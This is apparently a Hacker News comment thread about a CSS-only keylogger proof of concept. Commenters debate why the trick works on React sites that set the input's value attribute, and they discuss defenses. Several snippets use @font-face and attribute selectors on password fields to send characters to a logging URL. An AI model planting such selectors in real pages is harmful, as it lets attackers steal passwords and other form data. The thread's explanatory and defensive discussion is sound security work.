Show HN: A CSS Keylogger
github.com
github.com
<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log
[1] https://github.com/jbtronics/CrookedStyleSheets/issues/24
[2] https://news.ycombinator.com/item?id=16157773Edit: This doesn't seem to work for me in Chrome 63.0.3239.132
Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value
Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.
The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value).
This means that both:
- typing the password
- setting the password via element.value=foo
will not work
The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.
In something like 13000 selectors you could easily get the first 2, last 2, and any characters in the middle that are in the password making targeted attacks significantly easier. (This is based on very-very rough napkin math assuming an ~80 character dictionary for upper/lower, numbers, and "symbols" since I didn't want to count)
That's a lot, but it's well within the realm of possibility (it looks like that would end up as about a 1mb css file)
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
[0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...no permutations needed
Edit: nm. My mistake, not as easy as that using only css!
The real deal here is, it depends on some js code updating the dom for each key press, which is BAAAD. Not an useless keylogger, because it reminds a vulnerability product of choosing a bad decision.
Like React with JSX?
This is 127,286,426,869 (~128bn) times smaller than 92^8.
Edit: Note that if you have a repeated character in your 8 charcter password then the number of permutations of the set of 8 (7 distinct) characters is further halved to 20,160.
Make an input field red when it contains an invalid character?
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/in...
Another example where reading the input might be nice:
input[type="cc-number"][value^="4"]+.cc-system-icon {
background-image: url('visa.png');
}input[type="cc-number"][value^="5"]+.cc-system-icon {
background-image: url('master-card.png');
} this.input.value = 'password';
This would be fine. However updating the attribute (the way React recommends it with controlled components) would be something like: <input type="text" value={this.state.value} onChange={this.handleChange} />
This would be vulnerable to the the CSS keylogger.https://reactjs.org/docs/uncontrolled-components.html#defaul...
You can use a form and grab the values on submission.
<form onSubmit={this.handleSubmission}>
<input type="password" name="password" />
</form>
this.handleSubmission = event => {
// access to event.target.password.value
}The apps I've worked on weren't full SPAs, so I just used plain HTML for the login form.
Basically, the value of the input is tied to a "state engine" that acts as a single source of truth and when the user types in the input you'll update the state so that the rest of the application can know what's going on in the form without accessing the DOM.
The state engine is a fancy word for a variable that has a special setter function so that the changes can be reflected globally.
second stage is 'OMFG this website doesn't work for me. How could developer not think about my entitled ass and not spend 2x time to make it work without JS?'
It's the only reasonable response to the user-hostile dumpster fire that is the current web. Javascript has made the web better in a small handful of ways, and made the web significantly worse in every other way.
That's cool, but you obviously have different requirements for the pages you build, and likely aren't in the SPA space, so your better-than-thou outlook doesn't apply.
The fact remains that the coding practices on a website used by about a billion people open up for part 1 of this vulnerability (these CSS styles on Instagram do load external resources as you type), and there are plenty of ways for part 2 (inject the CSS) to occur on many less well maintained sites.
The CSS selectors work on the value HtmlNode attribute rather than the Javascript "value" value, which aren't linked normally. The Instagram password field mentioned in the readme.md DOES work this way due to some custom javascript, for reasons that escape me.
[edit] Other people pointed this out first.
Also, if you are going to all the trouble of making an extension to inject your evil CSS into a page, why not go the whole hog and inject evil ecmascript instead?
Instagram is a React app and React works that way.
For simple username/password entry I see no reason to use a controlled component.
In general, though, there are solid reasons to use this pattern in React. With uncontrolled components, you won’t be able to use React to do form validation or AJAX form submission. You would need to bypass the React virtual DOM and attach listeners on the actual DOM elements.
The only thing it affects is your ability to change the input's data via a state change, but for a password field would you ever want to do anything but get its current value or clear it?
And yes, for password inputs, I can’t think of a case where you would absolutely need to control the value via React. Things like password confirmation validation and password strength indicators can be implemented via onChange and onBlur. It’s more tedious than the normal controlled input pattern, but given vulnerabilities like this one, it’s likely worth creating reusable uncontrolled inputs.
React.
If you do control the page, there may not be that many reasons, but if you only have a limited entry-point, this is very interesting.
That may just be for the proof of concept.
There are websites which allow users to customize themes of certain pages; such at Tumblr and Reddit. I believe these allow custom CSS. There are probably plenty of other places where it may be possible to inject CSS but not JavaScript.
So, it's worth demonstrating the vulnerability, even if the current way of distributing it only really makes sense for testing purposes.
Another fun thing: user css / theme extensions where you only install themes. Themes are not dangerous, are they? It's just eyecandy.
input[type="password"] { background-image: none !important; }
And if the exploit uses `!important` then you just need to make your selector more specific such as putting it inside an id. If you have malicious javascript running on your page there are better ways to steal data. I feel there is low risk of coming across this problem in the wild.
I.e. <input type="password" style="background-image:none !important"/>
You don't actually even need to select that specific node - whilst you can't use :after on replaced elements, if the input has a sibling an attacker could input[type="password"] + div:after or something along those lines.
The main takeaway for me is that making a password field a controlled component is a marginal security risk in some instances, and letting people pump their own styles into sign-in pages is a bad idea.
This is not a CSS keylogger if you need to update the attributes with the input value via JS.
Edit: this apparently works on React sites because React seems to update the `value` attribute as well. Maybe that should be fixed as it’s unnecessary.
This would still put many, if not most, passwords within guessable striking distance, for anyone able to intercept plain-text HTTP traffic, between Alice (the client) and Bob (the CSS image resource server).
If this would work, it could spy even without React. Detect first character, then server returns next CSS to detect second character and so on.
The original post on this talks about it in more detail:
https://www.mike-gualtieri.com/posts/stealing-data-with-css-...
Summary: A method is detailed - dubbed CSS Exfil - which can be used to steal targeted data using Cascading Style Sheets (CSS) as an attack vector. Due to the modern web's heavy reliance on CSS, a wide variety of data is potentially at risk, including: usernames, passwords, and sensitive data such as date of birth, social security numbers, and credit card numbers. The technique can also be used to de-anonymize users on dark nets like Tor. Defense methods are discussed for both website operators as well as web users, and a pair of browser extensions are offered which guard against this class of attack.
This is common when returning to a form you previously filled, like an address for, but it's very, very rare for this to happen to a password field. Like, why would a server send you a password field with your real password pre-entered?
Every other type of data is fair game... given that the attacker can inject CSS into your pages.
input[type="password"] {
background-image: url(attr(value));
}
?What might be a problem is developers not treating it as such.
e.g. ads.
Someone else in this thread suggested that as well.
This can be done with any attribute:
<input type="password" hackernews="isthebestwebsite">
input[type="password"][hackernews$="isthebestwebsite"] { background-image: url("http://placehold.it/15x15?text=h4x0r"); }
That's not a keylogger at all, the data is already printed in the HTML source.
Most people in the comments don't seem to understand how this works.
i.e. you don't need to have rules for all possible passwords, just one for each character.
The most important aspect of this attack is that it is carried out through css. It is possible to block remote javascript code from an extension, in fact, if one wanted to inject javascript into https://instagram.com (my example on github), they would fail.
(Truth to tell, advertisers had their fangs on even the barest 'social media' thing like Usenet, where "spam" not in a tin can was first defined.)
I can simply background-image:url("myTrackingPixel.png") and then track whenever someone tries to load that image from my server.
view-source:http://alistapart.com/d/holygrail/example_3.html
However, making this example responsive is a piece of cake:
@media only screen and (max-width: 1024px) {
* {
float: none !important;
width: 100% !important;
margin: 0 !important;
padding: 0 !important;
position: relative !important;
right: auto !important;
left: auto !important;
}
}(Terrible CSS simply to show how easy it is to make it responsive. Normally you wouldn't wildcard important everything but target the right classes. I can't be bothered, this gets the point across.)
This is a React feature, where React apps specifically use the value attribute (`element.setAttribute("value", ...)`) to set the value, instead of `element.value`.
Also as in this example loading a .jpg could be a way of communicating something.